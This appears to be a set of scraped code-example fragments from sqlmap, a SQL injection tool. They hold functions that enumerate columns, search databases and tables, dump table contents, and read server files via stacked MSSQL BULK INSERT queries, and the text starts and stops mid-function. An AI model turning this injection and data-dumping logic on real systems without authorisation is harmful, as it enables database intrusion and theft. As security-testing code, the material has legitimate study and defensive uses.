                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
                    else:
                        table[safeSQLIdentificatorNaming(tbl, True)] = columns
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table

        elif isInferenceAvailable() and not conf.direct:
            for tbl in tblList:
                if conf.db is not None and len(kb.data.cachedColumns) > 0 \
                   and conf.db in kb.data.cachedColumns and tbl in \
                   kb.data.cachedColumns[conf.db]:
                    infoMsg = "fetched tables' columns on "
                    infoMsg += "database '%s'" % conf.db
                    logger.info(infoMsg)

                    return {conf.db: kb.data.cachedColumns[conf.db]}

                infoMsg = "fetching columns "

                if len(colList) > 0:
                    if colTuple is None:
                        colConsider, colCondParam = self.likeOrExact("column")
                    else:
                        colConsider, colCondParam = colTuple
                    condQueryStr = "%%s%s" % colCondParam
                    condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))

                    if colConsider == "1":
                        infoMsg += "like '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
                    else:
                        infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
                else:
                    condQuery = ""

                infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                logger.info(infoMsg)

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery

                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                    query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(tbl.upper())
                    query += condQuery

                elif Backend.isDbms(DBMS.MSSQL):
                    query = rootQuery.blind.count % (conf.db, conf.db, \
                        unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                    query += condQuery.replace("[DB]", conf.db)

                elif Backend.isDbms(DBMS.FIREBIRD):
                    query = rootQuery.blind.count % (tbl)
                    query += condQuery

                elif Backend.isDbms(DBMS.SQLITE):
                    query = rootQuery.blind.query % tbl
                    value = inject.getValue(query, union=False, error=False)
                    parseSqliteTableSchema(value)
                    return kb.data.cachedColumns

                count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                if not isNumPosStrValue(count):
                    errMsg = "unable to retrieve the number of columns "
                    errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                    errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.error(errMsg)

                    continue

                table = {}
                columns = {}

                for index in getLimitRange(count):
                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                        query += condQuery
                        field = None
                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl.upper())
                        query += condQuery
                        field = None
                    elif Backend.isDbms(DBMS.MSSQL):
                        query = rootQuery.blind.query.replace("'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1]).replace("%s", conf.db).replace("%d", str(index))
                        query += condQuery.replace("[DB]", conf.db)
                        field = condition.replace("[DB]", conf.db)
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        query = rootQuery.blind.query % (tbl)
                        query += condQuery
                        field = None

                    query = agent.limitQuery(index, query, field, field)
                    column = inject.getValue(query, union=False, error=False)

                    if not isNoneValue(column):
                        if not onlyColNames:
                            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                                query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
                            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column)
                            elif Backend.isDbms(DBMS.MSSQL):
                                query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db,
                                                                conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                            elif Backend.isDbms(DBMS.FIREBIRD):
                                query = rootQuery.blind.query2 % (tbl, column)

                            colType = inject.getValue(query, union=False, error=False)

                            if Backend.isDbms(DBMS.FIREBIRD):
                                colType = FIREBIRD_TYPES.get(colType, colType)

                            column = safeSQLIdentificatorNaming(column)
                            columns[column] = colType
                        else:
                            column = safeSQLIdentificatorNaming(column)
                            columns[column] = None

                if columns:
                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
                    else:
                        table[safeSQLIdentificatorNaming(tbl, True)] = columns
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table

        if not kb.data.cachedColumns:
            errMsg = "unable to retrieve column names for "
            errMsg += ("table '%s' " % tblList[0]) if len(tblList) == 1 else "any table "
            errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
            logger.error(errMsg)

            if bruteForce is None:
                return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True)

        return kb.data.cachedColumns
Ejemplo n.º 35
0
    def searchDb(self):
        foundDbs = []
        rootQuery = queries[Backend.getIdentifiedDbms()].search_db
        dbList = conf.db.split(",")

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            dbCond = rootQuery.inband.condition2
        else:
            dbCond = rootQuery.inband.condition

        dbConsider, dbCondParam = self.likeOrExact("database")

        for db in dbList:
            values = []
            db = safeSQLIdentificatorNaming(db)

            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                db = db.upper()

            infoMsg = "searching database"
            if dbConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
            logger.info(infoMsg)

            if conf.excludeSysDbs:
                exclDbsQuery = "".join(
                    " AND '%s' != %s" %
                    (unsafeSQLIdentificatorNaming(db), dbCond)
                    for db in self.excludeDbsList)
                infoMsg = "skipping system database%s '%s'" % (
                    "s" if len(self.excludeDbsList) > 1 else "", ", ".join(
                        db for db in self.excludeDbsList))
                logger.info(infoMsg)
            else:
                exclDbsQuery = ""

            dbQuery = "%s%s" % (dbCond, dbCondParam)
            dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db)

            if any(
                    isTechniqueAvailable(_)
                    for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                              PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                if Backend.isDbms(
                        DBMS.MYSQL) and not kb.data.has_information_schema:
                    query = rootQuery.inband.query2
                else:
                    query = rootQuery.inband.query

                query = query % (dbQuery + exclDbsQuery)
                values = inject.getValue(query, blind=False, time=False)

                if not isNoneValue(values):
                    values = arrayizeValue(values)

                    for value in values:
                        value = safeSQLIdentificatorNaming(value)
                        foundDbs.append(value)

            if not values and isInferenceAvailable() and not conf.direct:
                infoMsg = "fetching number of database"
                if dbConsider == "1":
                    infoMsg += "s like"
                infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
                logger.info(infoMsg)

                if Backend.isDbms(
                        DBMS.MYSQL) and not kb.data.has_information_schema:
                    query = rootQuery.blind.count2
                else:
                    query = rootQuery.blind.count

                query = query % (dbQuery + exclDbsQuery)
                count = inject.getValue(query,
                                        union=False,
                                        error=False,
                                        expected=EXPECTED.INT,
                                        charsetType=CHARSET_TYPE.DIGITS)

                if not isNumPosStrValue(count):
                    warnMsg = "no database"
                    if dbConsider == "1":
                        warnMsg += "s like"
                    warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db)
                    logger.warn(warnMsg)

                    continue

                indexRange = getLimitRange(count)

                for index in indexRange:
                    if Backend.isDbms(
                            DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.query2
                    else:
                        query = rootQuery.blind.query

                    query = query % (dbQuery + exclDbsQuery)
                    query = agent.limitQuery(index, query, dbCond)

                    value = unArrayizeValue(
                        inject.getValue(query, union=False, error=False))
                    value = safeSQLIdentificatorNaming(value)
                    foundDbs.append(value)

        conf.dumper.lister("found databases", foundDbs)
Ejemplo n.º 36
0
    def searchTable(self):
        bruteForce = False

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            errMsg = "information_schema not available, "
            errMsg += "back-end DBMS is MySQL < 5.0"
            bruteForce = True

        if bruteForce:
            message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
            test = readInput(message, default="Y" if "Y" in message else "N")

            if test[0] in ("n", "N"):
                return
            elif test[0] in ("q", "Q"):
                raise SqlmapUserQuitException
            else:
                regex = "|".join(conf.tbl.split(","))
                return tableExists(paths.COMMON_TABLES, regex)

        foundTbls = {}
        tblList = conf.tbl.split(",")
        rootQuery = queries[Backend.getIdentifiedDbms()].search_table
        tblCond = rootQuery.inband.condition
        dbCond = rootQuery.inband.condition2
        tblConsider, tblCondParam = self.likeOrExact("table")

        for tbl in tblList:
            values = []
            tbl = safeSQLIdentificatorNaming(tbl, True)

            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD):
                tbl = tbl.upper()

            infoMsg = "searching table"
            if tblConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)

            if dbCond and conf.db and conf.db != CURRENT_DB:
                _ = conf.db.split(",")
                whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")"
                infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
            elif conf.excludeSysDbs:
                whereDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
                infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
                logger.info(infoMsg2)
            else:
                whereDbsQuery = ""

            logger.info(infoMsg)

            tblQuery = "%s%s" % (tblCond, tblCondParam)
            tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)

            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                query = rootQuery.inband.query

                query = query % (tblQuery + whereDbsQuery)
                values = inject.getValue(query, blind=False, time=False)

                if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
                    newValues = []

                    if isinstance(values, basestring):
                        values = [values]
                    for value in values:
                        dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird"
                        newValues.append(["%s%s" % (dbName, METADB_SUFFIX), value])

                    values = newValues

                for foundDb, foundTbl in filterPairValues(values):
                    foundDb = safeSQLIdentificatorNaming(foundDb)
                    foundTbl = safeSQLIdentificatorNaming(foundTbl, True)

                    if foundDb is None or foundTbl is None:
                        continue

                    if foundDb in foundTbls:
                        foundTbls[foundDb].append(foundTbl)
                    else:
                        foundTbls[foundDb] = [foundTbl]

            if not values and isInferenceAvailable() and not conf.direct:
                if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
                    if len(whereDbsQuery) == 0:
                        infoMsg = "fetching number of databases with table"
                        if tblConsider == "1":
                            infoMsg += "s like"
                        infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
                        logger.info(infoMsg)

                        query = rootQuery.blind.count
                        query = query % (tblQuery + whereDbsQuery)
                        count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = "no databases have table"
                            if tblConsider == "1":
                                warnMsg += "s like"
                            warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
                            logger.warn(warnMsg)

                            continue

                        indexRange = getLimitRange(count)

                        for index in indexRange:
                            query = rootQuery.blind.query
                            query = query % (tblQuery + whereDbsQuery)
                            query = agent.limitQuery(index, query)

                            foundDb = unArrayizeValue(inject.getValue(query, union=False, error=False))
                            foundDb = safeSQLIdentificatorNaming(foundDb)

                            if foundDb not in foundTbls:
                                foundTbls[foundDb] = []

                            if tblConsider == "2":
                                foundTbls[foundDb].append(tbl)

                        if tblConsider == "2":
                            continue
                    else:
                        for db in conf.db.split(","):
                            db = safeSQLIdentificatorNaming(db)
                            if db not in foundTbls:
                                foundTbls[db] = []
                else:
                    dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird"
                    foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = []

                for db in foundTbls.keys():
                    db = safeSQLIdentificatorNaming(db)

                    infoMsg = "fetching number of table"
                    if tblConsider == "1":
                        infoMsg += "s like"
                    infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db))
                    logger.info(infoMsg)

                    query = rootQuery.blind.count2
                    if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
                        query = query % unsafeSQLIdentificatorNaming(db)
                    query += " AND %s" % tblQuery

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "no table"
                        if tblConsider == "1":
                            warnMsg += "s like"
                        warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
                        logger.warn(warnMsg)

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query2

                        if query.endswith("'%s')"):
                            query = query[:-1] + " AND %s)" % tblQuery
                        else:
                            query += " AND %s" % tblQuery

                        if Backend.isDbms(DBMS.FIREBIRD):
                            query = safeStringFormat(query, index)

                        if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
                            query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db))

                        if not Backend.isDbms(DBMS.FIREBIRD):
                            query = agent.limitQuery(index, query)

                        foundTbl = unArrayizeValue(inject.getValue(query, union=False, error=False))
                        if not isNoneValue(foundTbl):
                            kb.hintValue = foundTbl
                            foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
                            foundTbls[db].append(foundTbl)

        for db in foundTbls.keys():
            if isNoneValue(foundTbls[db]):
                del foundTbls[db]

        if not foundTbls:
            warnMsg = "no databases contain any of the provided tables"
            logger.warn(warnMsg)
            return

        conf.dumper.dbTables(foundTbls)
        self.dumpFoundTables(foundTbls)
Ejemplo n.º 37
0
    def stackedReadFile(self, rFile):
        infoMsg = "fetching file: '%s'" % rFile
        logger.info(infoMsg)

        result = []
        txtTbl = self.fileTblName
        hexTbl = "%shex" % self.fileTblName

        self.createSupportTbl(txtTbl, self.tblField, "text")
        inject.goStacked("DROP TABLE %s" % hexTbl)
        inject.goStacked(
            "CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" %
            (hexTbl, self.tblField, "VARCHAR(4096)"))

        logger.debug("loading the content of file '%s' into support table" %
                     rFile)
        inject.goStacked(
            "BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')"
            % (txtTbl, rFile, randomStr(10), randomStr(10)),
            silent=True)

        # Reference: http://support.microsoft.com/kb/104829
        binToHexQuery = """DECLARE @charset VARCHAR(16)
        DECLARE @counter INT
        DECLARE @hexstr VARCHAR(4096)
        DECLARE @length INT
        DECLARE @chunk INT

        SET @charset = '0123456789ABCDEF'
        SET @counter = 1
        SET @hexstr = ''
        SET @length = (SELECT DATALENGTH(%s) FROM %s)
        SET @chunk = 1024

        WHILE (@counter <= @length)
        BEGIN
            DECLARE @tempint INT
            DECLARE @firstint INT
            DECLARE @secondint INT

            SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
            SET @firstint = floor(@tempint/16)
            SET @secondint = @tempint - (@firstint * 16)
            SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)

            SET @counter = @counter + 1

            IF @counter %% @chunk = 0
            BEGIN
                INSERT INTO %s(%s) VALUES(@hexstr)
                SET @hexstr = ''
            END
        END

        IF @counter %% (@chunk) != 0
        BEGIN
            INSERT INTO %s(%s) VALUES(@hexstr)
        END
        """ % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl,
               self.tblField, hexTbl, self.tblField)

        binToHexQuery = binToHexQuery.replace("    ", "").replace("\n", " ")
        inject.goStacked(binToHexQuery)

        if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
            result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" %
                                     (self.tblField, hexTbl),
                                     resumeValue=False,
                                     blind=False,
                                     time=False,
                                     error=False)

        if not result:
            result = []
            count = inject.getValue("SELECT COUNT(*) FROM %s" % (hexTbl),
                                    resumeValue=False,
                                    expected=EXPECTED.INT,
                                    charsetType=CHARSET_TYPE.DIGITS)

            if not isNumPosStrValue(count):
                errMsg = "unable to retrieve the content of the "
                errMsg += "file '%s'" % rFile
                raise SqlmapNoneDataException(errMsg)

            indexRange = getLimitRange(count)

            for index in indexRange:
                chunk = inject.getValue(
                    "SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC"
                    % (self.tblField, hexTbl, self.tblField, index,
                       self.tblField, hexTbl),
                    unpack=False,
                    resumeValue=False,
                    charsetType=CHARSET_TYPE.HEXADECIMAL)
                result.append(chunk)

        inject.goStacked("DROP TABLE %s" % hexTbl)

        return result
Ejemplo n.º 38
0
    def searchDb(self):
        foundDbs = []
        rootQuery = queries[Backend.getIdentifiedDbms()].search_db
        dbList = conf.db.split(",")

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            dbCond = rootQuery.inband.condition2
        else:
            dbCond = rootQuery.inband.condition

        dbConsider, dbCondParam = self.likeOrExact("database")

        for db in dbList:
            values = []
            db = safeSQLIdentificatorNaming(db)

            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                db = db.upper()

            infoMsg = "searching database"
            if dbConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
            logger.info(infoMsg)

            if conf.excludeSysDbs:
                exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
                infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
                logger.info(infoMsg)
            else:
                exclDbsQuery = ""

            dbQuery = "%s%s" % (dbCond, dbCondParam)
            dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db)

            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                    query = rootQuery.inband.query2
                else:
                    query = rootQuery.inband.query

                query = query % (dbQuery + exclDbsQuery)
                values = inject.getValue(query, blind=False, time=False)

                if not isNoneValue(values):
                    values = arrayizeValue(values)

                    for value in values:
                        value = safeSQLIdentificatorNaming(value)
                        foundDbs.append(value)

            if not values and isInferenceAvailable() and not conf.direct:
                infoMsg = "fetching number of database"
                if dbConsider == "1":
                    infoMsg += "s like"
                infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
                logger.info(infoMsg)

                if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                    query = rootQuery.blind.count2
                else:
                    query = rootQuery.blind.count

                query = query % (dbQuery + exclDbsQuery)
                count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                if not isNumPosStrValue(count):
                    warnMsg = "no database"
                    if dbConsider == "1":
                        warnMsg += "s like"
                    warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db)
                    logger.warn(warnMsg)

                    continue

                indexRange = getLimitRange(count)

                for index in indexRange:
                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.query2
                    else:
                        query = rootQuery.blind.query

                    query = query % (dbQuery + exclDbsQuery)
                    query = agent.limitQuery(index, query, dbCond)

                    value = unArrayizeValue(inject.getValue(query, union=False, error=False))
                    value = safeSQLIdentificatorNaming(value)
                    foundDbs.append(value)

        conf.dumper.lister("found databases", foundDbs)
Ejemplo n.º 39
0
    def dumpTable(self, foundData=None):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = "missing database parameter. sqlmap is going "
                warnMsg += "to use the current database to enumerate "
                warnMsg += "table(s) entries"
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
                conf.db = conf.db.upper()

            if ',' in conf.db:
                errMsg = "only one database name is allowed when enumerating "
                errMsg += "the tables' columns"
                raise SqlmapMissingMandatoryOptionException(errMsg)

            if conf.exclude and re.search(conf.exclude, conf.db, re.I) is not None:
                infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                singleTimeLogMessage(infoMsg)
                return

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(',')
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                tblList = list(six.itervalues(kb.data.cachedTables))

                if tblList and isListLike(tblList[0]):
                    tblList = tblList[0]
            elif not conf.search:
                errMsg = "unable to retrieve the tables "
                errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                raise SqlmapNoneDataException(errMsg)
            else:
                return

        for tbl in tblList:
            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)

        for tbl in tblList:
            if kb.dumpKeyboardInterrupt:
                break

            if conf.exclude and re.search(conf.exclude, tbl, re.I) is not None:
                infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
                singleTimeLogMessage(infoMsg)
                continue

            conf.tbl = tbl
            kb.data.dumpedTable = {}

            if foundData is None:
                kb.data.cachedColumns = {}
                self.getColumns(onlyColNames=True, dumpMode=True)
            else:
                kb.data.cachedColumns = foundData

            try:
                if Backend.isDbms(DBMS.INFORMIX):
                    kb.dumpTable = "%s:%s" % (conf.db, tbl)
                elif Backend.isDbms(DBMS.SQLITE):
                    kb.dumpTable = tbl
                else:
                    kb.dumpTable = "%s.%s" % (conf.db, tbl)

                if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(tbl, True) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
                    warnMsg = "unable to enumerate the columns for table '%s'" % unsafeSQLIdentificatorNaming(tbl)
                    if METADB_SUFFIX not in conf.db:
                        warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += ", skipping" if len(tblList) > 1 else ""
                    logger.warn(warnMsg)

                    continue

                columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]
                colList = sorted(column for column in columns if column)

                if conf.exclude:
                    colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]

                if not colList:
                    warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
                    if METADB_SUFFIX not in conf.db:
                        warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += " (no usable column names)"
                    logger.warn(warnMsg)
                    continue

                kb.dumpColumns = [unsafeSQLIdentificatorNaming(_) for _ in colList]
                colNames = colString = ','.join(column for column in colList)
                rootQuery = queries[Backend.getIdentifiedDbms()].dump_table

                infoMsg = "fetching entries"
                if conf.col:
                    infoMsg += " of column(s) '%s'" % colNames
                infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(tbl)
                if METADB_SUFFIX not in conf.db:
                    infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                logger.info(infoMsg)

                for column in colList:
                    _ = agent.preprocessField(tbl, column)
                    if _ != column:
                        colString = re.sub(r"\b%s\b" % re.escape(column), _.replace("\\", r"\\"), colString)

                entriesCount = 0

                if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                    entries = []
                    query = None

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
                        query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA):
                        query = rootQuery.inband.query % (colString, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                        # Partial inband and error
                        if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL):
                            table = "%s.%s" % (conf.db, tbl)

                            if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting:
                                warnMsg = "in case of table dumping problems (e.g. column entry order) "
                                warnMsg += "you are advised to rerun with '--force-pivoting'"
                                singleTimeWarnMessage(warnMsg)

                                query = rootQuery.blind.count % table
                                query = agent.whereQuery(query)

                                count = inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
                                if isNumPosStrValue(count):
                                    try:
                                        indexRange = getLimitRange(count, plusOne=True)

                                        for index in indexRange:
                                            row = []
                                            for column in colList:
                                                query = rootQuery.blind.query3 % (column, column, table, index)
                                                query = agent.whereQuery(query)
                                                value = inject.getValue(query, blind=False, time=False, dump=True) or ""
                                                row.append(value)

                                            if not entries and isNoneValue(row):
                                                break

                                            entries.append(row)

                                    except KeyboardInterrupt:
                                        kb.dumpKeyboardInterrupt = True
                                        clearConsoleLine()
                                        warnMsg = "Ctrl+C detected in dumping phase"
                                        logger.warn(warnMsg)

                            if isNoneValue(entries) and not kb.dumpKeyboardInterrupt:
                                try:
                                    retVal = pivotDumpTable(table, colList, blind=False)
                                except KeyboardInterrupt:
                                    retVal = None
                                    kb.dumpKeyboardInterrupt = True
                                    clearConsoleLine()
                                    warnMsg = "Ctrl+C detected in dumping phase"
                                    logger.warn(warnMsg)

                                if retVal:
                                    entries, _ = retVal
                                    entries = BigArray(_zip(*[entries[colName] for colName in colList]))
                        else:
                            query = rootQuery.inband.query % (colString, conf.db, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE):
                        query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
                    else:
                        query = rootQuery.inband.query % (colString, conf.db, tbl)

                    query = agent.whereQuery(query)

                    if not entries and query and not kb.dumpKeyboardInterrupt:
                        try:
                            entries = inject.getValue(query, blind=False, time=False, dump=True)
                        except KeyboardInterrupt:
                            entries = None
                            kb.dumpKeyboardInterrupt = True
                            clearConsoleLine()
                            warnMsg = "Ctrl+C detected in dumping phase"
                            logger.warn(warnMsg)

                    if not isNoneValue(entries):
                        if isinstance(entries, six.string_types):
                            entries = [entries]
                        elif not isListLike(entries):
                            entries = []

                        entriesCount = len(entries)

                        for index, column in enumerate(colList):
                            if column not in kb.data.dumpedTable:
                                kb.data.dumpedTable[column] = {"length": len(column), "values": BigArray()}

                            for entry in entries:
                                if entry is None or len(entry) == 0:
                                    continue

                                if isinstance(entry, six.string_types):
                                    colEntry = entry
                                else:
                                    colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u''

                                maxLen = max(getConsoleLength(column), getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))))

                                if maxLen > kb.data.dumpedTable[column]["length"]:
                                    kb.data.dumpedTable[column]["length"] = maxLen

                                kb.data.dumpedTable[column]["values"].append(colEntry)

                if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct:
                    infoMsg = "fetching number of "
                    if conf.col:
                        infoMsg += "column(s) '%s' " % colNames
                    infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

